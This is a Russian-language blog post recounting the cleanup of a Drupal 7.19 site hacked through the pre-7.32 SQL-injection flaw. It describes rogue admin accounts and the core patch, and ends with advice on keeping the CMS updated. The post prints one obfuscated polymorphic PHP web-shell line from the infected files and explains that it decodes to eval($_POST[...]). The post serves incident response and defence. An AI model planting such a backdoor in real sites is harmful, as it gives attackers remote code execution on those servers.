Критическая уязвимость в Drupal и ее последствия

Казалось бы Рождество, и чем мне не отдыхается ... Ан нет. Как говорится "поступил тревожный сигнал" и пришлось работать. Предыстория вообщем-то банальна. У одних моих знакомых был небольшой проект на Drupal. Сайт им делали очень давно и с человеком который его разрабатывал они давно расстались. В результате контент-менеджер добавлял на него новости и все вроде работало до одного прекрасного момента, который как раз настал в ночь под рождество. В пользователях сайта появился пользователь drupaldev (и несколько других), которые входили в группу megauser, которую естественно никто никогда не создавал. Это и послужило сигналом забить тревогу.

Сайт был построен на движке Drupal 7.19 ... когда я заглянул в админку, то вообщем-то не удивился, не обновленное ядро, куча модулей версии которых уже успели устареть на несколько лет. Т.к. безопасностью особенно никто не занимался, то неудивительно что сайт взломали. Первое на что я наткнулся при беглом поиске в интернете по паттерну "drupadev" была статья: Внимание! Критическая уязвимость во всех версиях drupal ниже Drupal 7.32 (Highly critical) (update 9). Если у вас сайт именно на Drupal < 7.32 крайне рекомендую с ней ознакомиться. Прочитав статью, я первым делом сделал backup сайта, на всякий случай, пропатчил уязвимость, заменив в файле includes/database/database.inc в цикле foreach - $data на array_values($data) и принялся смотреть что же стало с сайтом. А итоги были неутешительными. Практически в каждый второй PHP скрипт на сайте был встроен PHP Shell, плюс во всех директориях были созданы дополнительные PHP скрипты, содержащие этот же шелл. Причем в каждом файле текст шелла отличался от предыдущего. Чтобы было понятно покажу наглядно:

$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q4ddc19'])){eval(${$s20}['q4ddc19']);

Если разобрать все это, то у нас получается - eval($_POST['q4ddc19']); Т.е. фактически каждый из "зараженных" скриптов принимал на входе один параметр в POST, содержимое которого тут же интерпретировалось в eval и выполнялось. Т.е. фактически по всему сайту оказались натыканы backdoor'ы, а злоумышленники могли сделать с ним что хотели. Плюс, ситуация осложнялась тем, что shell был "полиморфным". Т.е. в каждом новом файле его код отличался от предыдущего. Если во время "разбора полетов" пропустить хотя бы одну такую "закладку", то вся работа, естественно, насмарку, т.к. злоумышленники в любой момент могут получить доступ к сайту и сделать на нем что угодно, даже после установки всех заплаток и обновлений.

Как я все это вычищал - рассказывать не буду. Обновление ядра, немного фантазии, полуавтоматический анализ пары сотен оставшихся PHP файлов, удаление вредоносного кода, обновление модулей - и сайт "как новый".  Правда, надо признать, что масштаб заражения (т.е. количество мест на сайте в котором были оставлены закладки) был таким, что обычный пользователь вычистил бы все это с большим трудом, если бы вообще вычистил. История показательна другим ... за обновлениями безопасности и community-сайтами своей CMS нужно постоянно следить. Если есть автоматическая функция обновления ядра / модулей CMS рекомендуется включить ее, при появлении информации о критических уязвимостях - немедленно устранять их. Впрочем, все это прописные истины ... На этом, пожалуй, не сегодня все.